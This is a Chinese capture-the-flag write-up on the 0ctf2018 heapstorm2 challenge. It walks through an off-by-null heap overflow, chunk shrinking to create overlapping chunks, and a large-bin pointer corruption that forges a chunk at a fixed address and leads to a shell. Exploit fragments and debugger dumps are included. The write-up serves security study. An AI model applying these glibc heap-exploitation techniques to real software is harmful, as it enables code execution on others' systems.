前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >0ctf2018 heapstorm2详解

0ctf2018 heapstorm2详解

作者头像
ChaMd5安全团队
发布2018-04-16 10:08:46
2K0
发布2018-04-16 10:08:46
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队

题目链接

https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/heapstorm2

前置知识

  • mallopt int mallopt(int param,int value) param的取值分别为MMXFAST,value是以字节为单位。 MMXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。下面我们来将M_MXFAST设置为0,禁止使用fastbins 源码: https://code.woboq.org/userspace/glibc/malloc/malloc.h.html
代码语言:javascript
复制
102   #ifndef M_MXFAST
103    # define M_MXFAST  1    /* maximum request size for "fastbins" */
104    #endif


5137    int __libc_mallopt (int param_number, int value)
5138    {
5139      mstate av = &main_arena;
5140      int res = 1;
5141    
5142      if (__malloc_initialized < 0)
5143        ptmalloc_init ();
5144      __libc_lock_lock (av->mutex);
5145    
5146      LIBC_PROBE (memory_mallopt, 2, param_number, value);
5147    
5148      /* We must consolidate main arena before changing max_fast
5149         (see definition of set_max_fast).  */
5150      malloc_consolidate (av);
5151    
5152      switch (param_number)
5153        {
5154        case M_MXFAST:
5155          if (value >= 0 && value <= MAX_FAST_SIZE)
5156            {
5157              LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
5158              set_max_fast (value);
5159            }
5160          else
5161            res = 0;
5162          break;
5163    
5164        case M_TRIM_THRESHOLD:
5165          do_set_trim_threshold (value);
5166          break;
5167    
5168        case M_TOP_PAD:
5169          do_set_top_pad (value);
5170          break;
5171    
5172        case M_MMAP_THRESHOLD:
5173          res = do_set_mmap_threshold (value);
5174          break;
5175    
5176        case M_MMAP_MAX:
5177          do_set_mmaps_max (value);
5178          break;
5179    
5180        case M_CHECK_ACTION:
5181          do_set_mallopt_check (value);
5182          break;
5183    
5184        case M_PERTURB:
5185          do_set_perturb_byte (value);
5186          break;
5187    
5188        case M_ARENA_TEST:
5189          if (value > 0)
5190            do_set_arena_test (value);
5191          break;
5192    
5193        case M_ARENA_MAX:
5194          if (value > 0)
5195            do_set_arena_max (value);
5196          break;
5197        }
5198      __libc_lock_unlock (av->mutex);
5199      return res;
5200    }
  • 利用linux的/dev/urandom文件产生较好的随机数 https://blog.csdn.net/stpeace/article/details/45829161
代码语言:javascript
复制
int randNum = 0;  
int fd = open("/dev/urandom", O_RDONLY);  
if(-1 == fd)  
{  
        printf("error\n");  
        return 1;  
}  

read(fd, (char *)&randNum, sizeof(int));  
close(fd);
  • overlap

分析

checksec

代码语言:javascript
复制
parallels@ubuntu:~/ctf/0ctf2018/heapstorm2$ checksec heapstorm2
[*] '/home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序分析

关闭fastbin的分配

对存放堆指针和size的地方进行随机化

读入随机数前

代码语言:javascript
复制
pwndbg> b *555555554000+0x0000000000000CA6
Breakpoint 1 at 0x8159b10f76
pwndbg> r
Starting program: /home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2 
...
...
Breakpoint *0x555555554000+0x0000000000000CA6
pwndbg> x /50gx 0x13370800
0x13370800:    0x0000000000000000  0x0000000000000000
0x13370810:    0x0000000000000000  0x0000000000000000
0x13370820:    0x0000000000000000  0x0000000000000000
0x13370830:    0x0000000000000000  0x0000000000000000
0x13370840:    0x0000000000000000  0x0000000000000000
0x13370850:    0x0000000000000000  0x0000000000000000
0x13370860:    0x0000000000000000  0x0000000000000000
0x13370870:    0x0000000000000000  0x0000000000000000
0x13370880:    0x0000000000000000  0x0000000000000000
0x13370890:    0x0000000000000000  0x0000000000000000
0x133708a0:    0x0000000000000000  0x0000000000000000
0x133708b0:    0x0000000000000000  0x0000000000000000
0x133708c0:    0x0000000000000000  0x0000000000000000
0x133708d0:    0x0000000000000000  0x0000000000000000
0x133708e0:    0x0000000000000000  0x0000000000000000
0x133708f0:    0x0000000000000000  0x0000000000000000
0x13370900:    0x0000000000000000  0x0000000000000000
0x13370910:    0x0000000000000000  0x0000000000000000
0x13370920:    0x0000000000000000  0x0000000000000000
0x13370930:    0x0000000000000000  0x0000000000000000
0x13370940:    0x0000000000000000  0x0000000000000000
0x13370950:    0x0000000000000000  0x0000000000000000
0x13370960:    0x0000000000000000  0x0000000000000000
0x13370970:    0x0000000000000000  0x0000000000000000
0x13370980:    0x0000000000000000  0x0000000000000000

读入随机数后

代码语言:javascript
复制
pwndbg> x /50gx 0x13370800
0x13370800:    0x72cec7f9b44fb49e  0x438137bc554b405e
0x13370810:    0x7a4f542a3248dba2  0x0000000000000000
0x13370820:    0x0000000000000000  0x0000000000000000
0x13370830:    0x0000000000000000  0x0000000000000000
0x13370840:    0x0000000000000000  0x0000000000000000
0x13370850:    0x0000000000000000  0x0000000000000000

用如图上数字1处的随机数去覆盖后面的16个的每一行的左八个字节(堆指针)。用如图上数字2处的随机数去覆盖后面的16个的每一行的右八个字节(size)。

用图上数字3处的随机数去覆盖数字4处。

主函数
添加
更新

有off by null漏洞

删除
显示

漏洞分析

在update的时候有一个off by null。

其他

之前做堆的题都不建结构体,全靠脑补…这次建一下,让反编译出来的好看一点。

1.添加segment

2.建结构体

3.改函数参数

4.最后的修改结果

利用

shrink the chunk来overlap

前提:存在一个off-by-null漏洞(已满足) 目的:创造出overlap chunk,进而更改其他chunk中的内容 主要利用unsorted,small bin会unlink合并的特性来达到我们的目的。

1.伪造prev_size

代码语言:javascript
复制
alloc(0x18)     #0
alloc(0x508)    #1
alloc(0x18)     #2
update(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size

alloc(0x18)     #3
alloc(0x508)    #4
alloc(0x18)     #5
update(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
alloc(0x18)     #6

2.free 1,于是下一个chunk的inuse和prev_size将被设置。

图示灰色的地方代表被free掉,然后触发off by null,修改1的size。

代码语言:javascript
复制
free(1)
update(0, 'h'*(0x18-12))    #off-by-one

3.将free的1再分配出来,然后再分配一块空间到原来的1中,注意大小不能刚好使得这个chunk和2相邻,否则会把2的inuse位置1,不能在后续触发unlink。

然后再free 2,就能触发unlink,然后1和7,overlap

代码语言:javascript
复制
alloc(0x18)     #1
alloc(0x4d8)    #7
free(1)
free(2)         #backward consolidate
代码语言:javascript
复制
pwndbg> x /500gx 0x55f082807020
0x55f082807020:    0x49495f4d524f5453  0x0000000000000021
0x55f082807030:    0x00007f685fb20b78  0x00007f685fb20b78
0x55f082807040:    0x0000000000000020  0x00000000000004e0-->7
0x55f082807050:    0x0000000000000000  0x0000000000000000
0x55f082807060:    0x0000000000000000  0x0000000000000000
0x55f082807070:    0x0000000000000000  0x0000000000000000
0x55f082807080:    0x0000000000000000  0x0000000000000000
0x55f082807090:    0x0000000000000000  0x0000000000000000
0x55f0828070a0:    0x0000000000000000  0x0000000000000000
0x55f0828070b0:    0x0000000000000000  0x0000000000000000
0x55f0828070c0:    0x0000000000000000  0x0000000000000000
0x55f0828070d0:    0x0000000000000000  0x0000000000000000
0x55f0828070e0:    0x0000000000000000  0x0000000000000000
0x55f0828070f0:    0x0000000000000000  0x0000000000000000
0x55f082807100:    0x0000000000000000  0x0000000000000000
0x55f082807110:    0x0000000000000000  0x0000000000000000
0x55f082807120:    0x0000000000000000  0x0000000000000000
0x55f082807130:    0x0000000000000000  0x0000000000000000
0x55f082807140:    0x0000000000000000  0x0000000000000000
0x55f082807150:    0x0000000000000000  0x0000000000000000
0x55f082807160:    0x0000000000000000  0x0000000000000000
0x55f082807170:    0x0000000000000000  0x0000000000000000
0x55f082807180:    0x0000000000000000  0x0000000000000000
0x55f082807190:    0x0000000000000000  0x0000000000000000
0x55f0828071a0:    0x0000000000000000  0x0000000000000000
0x55f0828071b0:    0x0000000000000000  0x0000000000000000
0x55f0828071c0:    0x0000000000000000  0x0000000000000000
0x55f0828071d0:    0x0000000000000000  0x0000000000000000
0x55f0828071e0:    0x0000000000000000  0x0000000000000000
0x55f0828071f0:    0x0000000000000000  0x0000000000000000
0x55f082807200:    0x0000000000000000  0x0000000000000000
0x55f082807210:    0x0000000000000000  0x0000000000000000
0x55f082807220:    0x0000000000000000  0x0000000000000000
0x55f082807230:    0x0000000000000000  0x0000000000000000
0x55f082807240:    0x0000000000000000  0x0000000000000000
0x55f082807250:    0x0000000000000000  0x0000000000000000
0x55f082807260:    0x0000000000000000  0x0000000000000000
0x55f082807270:    0x0000000000000000  0x0000000000000000
0x55f082807280:    0x0000000000000000  0x0000000000000000
0x55f082807290:    0x0000000000000000  0x0000000000000000
0x55f0828072a0:    0x0000000000000000  0x0000000000000000
0x55f0828072b0:    0x0000000000000000  0x0000000000000000
0x55f0828072c0:    0x0000000000000000  0x0000000000000000
0x55f0828072d0:    0x0000000000000000  0x0000000000000000
0x55f0828072e0:    0x0000000000000000  0x0000000000000000
0x55f0828072f0:    0x0000000000000000  0x0000000000000000
0x55f082807300:    0x0000000000000000  0x0000000000000000
0x55f082807310:    0x0000000000000000  0x0000000000000000
0x55f082807320:    0x0000000000000000  0x0000000000000000
0x55f082807330:    0x0000000000000000  0x0000000000000000
0x55f082807340:    0x0000000000000000  0x0000000000000000
0x55f082807350:    0x0000000000000000  0x0000000000000000
0x55f082807360:    0x0000000000000000  0x0000000000000000
0x55f082807370:    0x0000000000000000  0x0000000000000000
0x55f082807380:    0x0000000000000000  0x0000000000000000
0x55f082807390:    0x0000000000000000  0x0000000000000000
0x55f0828073a0:    0x0000000000000000  0x0000000000000000
0x55f0828073b0:    0x0000000000000000  0x0000000000000000
0x55f0828073c0:    0x0000000000000000  0x0000000000000000
0x55f0828073d0:    0x0000000000000000  0x0000000000000000
0x55f0828073e0:    0x0000000000000000  0x0000000000000000
0x55f0828073f0:    0x0000000000000000  0x0000000000000000
0x55f082807400:    0x0000000000000000  0x0000000000000000
0x55f082807410:    0x0000000000000000  0x0000000000000000
0x55f082807420:    0x0000000000000000  0x0000000000000000
0x55f082807430:    0x0000000000000000  0x0000000000000000
0x55f082807440:    0x0000000000000000  0x0000000000000000
0x55f082807450:    0x0000000000000000  0x0000000000000000
0x55f082807460:    0x0000000000000000  0x0000000000000000
0x55f082807470:    0x0000000000000000  0x0000000000000000
0x55f082807480:    0x0000000000000000  0x0000000000000000
0x55f082807490:    0x0000000000000000  0x0000000000000000
0x55f0828074a0:    0x0000000000000000  0x0000000000000000
0x55f0828074b0:    0x0000000000000000  0x0000000000000000
0x55f0828074c0:    0x0000000000000000  0x0000000000000000
0x55f0828074d0:    0x0000000000000000  0x0000000000000000
0x55f0828074e0:    0x0000000000000000  0x0000000000000000
0x55f0828074f0:    0x0000000000000000  0x0000000000000000
0x55f082807500:    0x0000000000000000  0x0000000000000000
0x55f082807510:    0x0000000000000000  0x0000000000000000
0x55f082807520:    0x0000000000000000  0x524f545350414549
0x55f082807530:    0x0000000000000510  0x0000000000000020

当free 2的时候,因为2是small bin的大小的缘故,所以会检测上一个chunk是否inused.

它会根据prev_size找到1,然后做unlink。

此时,unsortbin存放着这块大的chunk,所以下次malloc会用这一块先分配。

代码语言:javascript
复制
pwndbg> unsortedbin 
unsortedbin
all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
pwndbg> x /20gx 0x555555757020
0x555555757020:    0x49495f4d524f5453  0x0000000000000531
0x555555757030:    0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x555555757040:    0x0000000000000000  0x0000000000000000
0x555555757050:    0x0000000000000000  0x0000000000000000
0x555555757060:    0x0000000000000000  0x0000000000000000
0x555555757070:    0x0000000000000000  0x0000000000000000
0x555555757080:    0x0000000000000000  0x0000000000000000
0x555555757090:    0x0000000000000000  0x0000000000000000
0x5555557570a0:    0x0000000000000000  0x0000000000000000
0x5555557570b0:    0x0000000000000000  0x0000000000000000

可以看出通过chunk shrink,实现了overlap。

代码语言:javascript
复制
alloc(0x38)     #1
alloc(0x4e8)    #2
代码语言:javascript
复制
0x555555757020 FASTBIN {
  prev_size = 5280856823766668371, 
  size = 65, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757060 PREV_INUSE {
  prev_size = 0, 
  size = 1265, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
...
...
pwndbg> x /100gx 0x555555757020
0x555555757020:    0x49495f4d524f5453  0x0000000000000041-->1
0x555555757030:    0x0000000000000000  0x0000000000000000
0x555555757040:    0x0000000000000000  0x0000000000000000-->7
0x555555757050:    0x0000000000000000  0x0000000000000000
0x555555757060:    0x0000000000000000  0x00000000000004f1-->2
0x555555757070:    0x0000000000000000  0x0000000000000000
0x555555757080:    0x0000000000000000  0x0000000000000000
0x555555757090:    0x0000000000000000  0x0000000000000000
0x5555557570a0:    0x0000000000000000  0x0000000000000000
0x5555557570b0:    0x0000000000000000  0x0000000000000000
0x5555557570c0:    0x0000000000000000  0x0000000000000000

重复一遍之前的过程,再次构造overlap

代码语言:javascript
复制
free(4)
update(3, 'h'*(0x18-12))    #off-by-one
alloc(0x18)     #4
alloc(0x4d8)    #8
free(4)
free(5)         #backward consolidate
alloc(0x48)     #4

然后4和8交叠。

代码语言:javascript
复制
pwndbg> x /50gx 0x555555757570
0x555555757570:    0x49495f4d524f5453  0x0000000000000021
0x555555757580:    0x0000000000000000  0x0000000000000000
0x555555757590:    0x0000000000000000  0x00000000000004e1-->8
0x5555557575a0:    0x0000000000000000  0x0000000000000000
0x5555557575b0:    0x0000000000000000  0x0000000000000000
....
....
....
unlink之后
....
....
....
pwndbg> x /50gx 0x555555757570
0x555555757570:    0x49495f4d524f5453  0x0000000000000051-->4
0x555555757580:    0x0000000000000000  0x0000000000000000
0x555555757590:    0x0000000000000000  0x0000000000000000-->8
0x5555557575a0:    0x0000000000000000  0x0000000000000000
0x5555557575b0:    0x0000000000000000  0x0000000000000000
0x5555557575c0:    0x0000000000000000  0x00000000000004e1
0x5555557575d0:    0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x5555557575e0:    0x0000000000000000  0x0000000000000000
0x5555557575f0:    0x0000000000000000  0x0000000000000000
0x555555757600:    0x0000000000000000  0x0000000000000000
0x555555757610:    0x0000000000000000  0x0000000000000000

利用unsorted bin中的chunk插入到large bin写数据,绕过对unsortbin中chunk的size大小的检查

代码语言:javascript
复制
free(2)
alloc(0x4e8)    #2
free(2)


storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20


p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk)      #bk
update(7, p1)


p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
update(8, p2)

free 2前

代码语言:javascript
复制
pwndbg> unsortedbin 
unsortedbin
all: 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557575c0

free 2后

代码语言:javascript
复制
pwndbg> unsortedbin 
unsortedbin
all: 0x555555757060 —▸ 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */

将2再分配出来,这时0x5555557575c0掉链,进入large bins中,再free 2,0x555555757060再次进入unsortedbin。

代码语言:javascript
复制
pwndbg> unsortedbin 
unsortedbin
all: 0x555555757060 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */
pwndbg> largebins 
largebins
0x400: 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x7ffff7dd1f68
0x440: 0x7ffff7dd1f78 (main_arena+1112) ◂— 0x7ffff7dd1f78
0x480: 0x7ffff7dd1f88 (main_arena+1128) ◂— 0x7ffff7dd1f88
0x4c0: 0x5555557575c0 —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0

然后要fake 0x555555757060的后向指针。

代码语言:javascript
复制
storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk)      #bk
update(7, p1)

fake前

代码语言:javascript
复制
pwndbg> x /20gx 0x555555757020
0x555555757020:    0x49495f4d524f5453  0x0000000000000041
0x555555757030:    0x0000000000000000  0x0000000000000000
0x555555757040:    0x0000000000000000  0x0000000000000000
0x555555757050:    0x0000000000000000  0x0000000000000000
0x555555757060:    0x0000000000000000  0x00000000000004f1
0x555555757070:    0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x555555757080:    0x0000000000000000  0x0000000000000000
0x555555757090:    0x0000000000000000  0x0000000000000000

fake后

代码语言:javascript
复制
pwndbg> x /20gx 0x555555757020
0x555555757020:    0x49495f4d524f5453  0x0000000000000041
0x555555757030:    0x0000000000000000  0x0000000000000000
0x555555757040:    0x0000000000000000  0x0000000000000000
0x555555757050:    0x0000000000000000  0x0000000000000000
0x555555757060:    0x0000000000000000  0x00000000000004f1
0x555555757070:    0x0000000000000000  0x00000000133707e0
0x555555757080:    0x524f545350414548  0x0000000049495f4d
0x555555757090:    0x0000000000000000  0x0000000000000000
0x5555557570a0:    0x0000000000000000  0x0000000000000000

可以看出bk指针被改写。

然后fake

代码语言:javascript
复制
p2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
p2 += p64(0) + p64(fake_chunk+8)    # bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5)   # bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
update(8, p2)

fake前

代码语言:javascript
复制
wndbg> x/20gx 0x555555757590
0x555555757590:    0x0000000000000000  0x0000000000000000
0x5555557575a0:    0x0000000000000000  0x0000000000000000
0x5555557575b0:    0x0000000000000000  0x0000000000000000
0x5555557575c0:    0x0000000000000000  0x00000000000004e1
0x5555557575d0:    0x00007ffff7dd1f98  0x00007ffff7dd1f98
0x5555557575e0:    0x00005555557575c0  0x00005555557575c0
0x5555557575f0:    0x0000000000000000  0x0000000000000000
0x555555757600:    0x0000000000000000  0x0000000000000000
0x555555757610:    0x0000000000000000  0x0000000000000000

fake后

代码语言:javascript
复制
pwndbg> x/20gx 0x555555757590
0x555555757590:    0x0000000000000000  0x0000000000000000
0x5555557575a0:    0x0000000000000000  0x0000000000000000
0x5555557575b0:    0x0000000000000000  0x0000000000000000
0x5555557575c0:    0x0000000000000000  0x00000000000004e1
0x5555557575d0:    0x0000000000000000  0x00000000133707e8
0x5555557575e0:    0x0000000000000000  0x00000000133707c3
0x5555557575f0:    0x524f545350414548  0x0000000049495f4d
0x555555757600:    0x0000000000000000  0x0000000000000000
0x555555757610:    0x0000000000000000  0x0000000000000000
0x555555757620:    0x0000000000000000  0x0000000000000000
代码语言:javascript
复制
try:
    # if the heap address starts with "0x56", you win
    alloc(0x48)     #2
except EOFError:
    # otherwise crash and try again
    r.close()
    continue

当再分配一个chunk的时候,会先检查unsorted bin中有没有合适的,如果没有就把unsortbin中的chunk插入large bin中。

看源码:

代码语言:javascript
复制
else
{
  victim_index = largebin_index (size);
  bck = bin_at (av, victim_index);
  fwd = bck->fd;
  ....
  ....
  ....
  // 如果size<large bin中最后一个chunk即最小的chunk,就直接插到最后
      if ((unsigned long) (size)
          < (unsigned long) chunksize_nomask (bck->bk))
        {
          fwd = bck;
          bck = bck->bk;
          victim->fd_nextsize = fwd->fd;
          victim->bk_nextsize = fwd->fd->bk_nextsize;
          fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        }
      else
        {
          assert (chunk_main_arena (fwd));
    // 否则正向遍历,fwd起初是large bin第一个chunk,也就是最大的chunk。
  // 直到满足size>=large bin chunk size
          while ((unsigned long) size < chunksize_nomask (fwd))
            {
              fwd = fwd->fd_nextsize;//fd_nextsize指向比当前chunk小的下一个chunk
              assert (chunk_main_arena (fwd));
            }
          if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
            /* Always insert in the second position.  */
            fwd = fwd->fd;
          else
      // 插入
            {
              victim->fd_nextsize = fwd;
              victim->bk_nextsize = fwd->bk_nextsize;
              fwd->bk_nextsize = victim;
              victim->bk_nextsize->fd_nextsize = victim;
            }
          bck = fwd->bk;
        }
    }
  else
    victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

当找到插入的位置后,看源码里具体的插入操作。

注意large bin要维持两个双向链表,多了一个chunk size链表,所以要在两个链表中插入。

代码语言:javascript
复制
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

在此题中,fwd只可能是我们放入large bin的唯一一个chunk,而它的bk_nextsize和bk都是我们可以控制的(如上一步的改写)

代码语言:javascript
复制
victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;

---->fwd->bk_nextsize->fd_nextsize=victim

victim就是我们要插入的堆地址。

bk_nextsize被写为0x13370800-0x20-0x18-5,那么*(0x13370800-0x20-0x18-5+0x20)=victim

代码语言:javascript
复制
fwd->bk=victim;

bk被写为0x13370800-0x20+8,那么*(0x13370800 -0x20+8 ) = victim。

当第一个chunk从unsorted bin插入到large bin之后,再到unsorted bin的下一个chunk,如果不满足分配则插入到large bin中。 而下一个chunk是我们伪造的(0x13370800-0x20)

而这个地方已经有值了,也就是我们写入的 (0x13370800-0x20-0x18-5+0x20)=0x133707e3=victim

代码语言:javascript
复制
pwndbg> x/gx 0x133707e3
0x133707e3:    0x000056213c4c8060

chunk的size,即0x13370800-0x20+0x8=0x133707e8,就是\x55或者\x56。

代码语言:javascript
复制
# if the heap address starts with "0x56", you win
    alloc(0x48)     #2

之所以要求是\x56,因为需要满足一个检查。

代码语言:javascript
复制
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
          av == arena_for_chunk (mem2chunk (mem)));

即chunk的mmap标志位置位。

之前我调试的时候都是打开的ASLR,现在关掉看一下,多运行几次总能有一次成功的。

去掉标志位,那么它的大小就是0x50,就满足alloc(0x48),就会返回给我们,成功返回0x13370800-0x10之后,就是传统的做法了。

leak heap,leak libc,覆盖free_book值为system

getshell

exp文件地址:

https://github.com/eternalsakura/ctf_pwn/blob/master/0ctf2018/heapstorm2/heapstorm2.py

参考资料

https://gist.github.com/Jackyxty/9de01a0bdfe5fb6d0b40fe066f059fa3

https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-04-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前置知识
  • 分析
    • checksec
      • 程序分析
        • 关闭fastbin的分配
        • 主函数
        • 添加
        • 更新
        • 删除
        • 显示
      • 漏洞分析
        • 其他
        • 利用
          • shrink the chunk来overlap
            • 利用unsorted bin中的chunk插入到large bin写数据,绕过对unsortbin中chunk的size大小的检查
              • leak heap,leak libc,覆盖free_book值为system
              • getshell
                • exp文件地址:
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档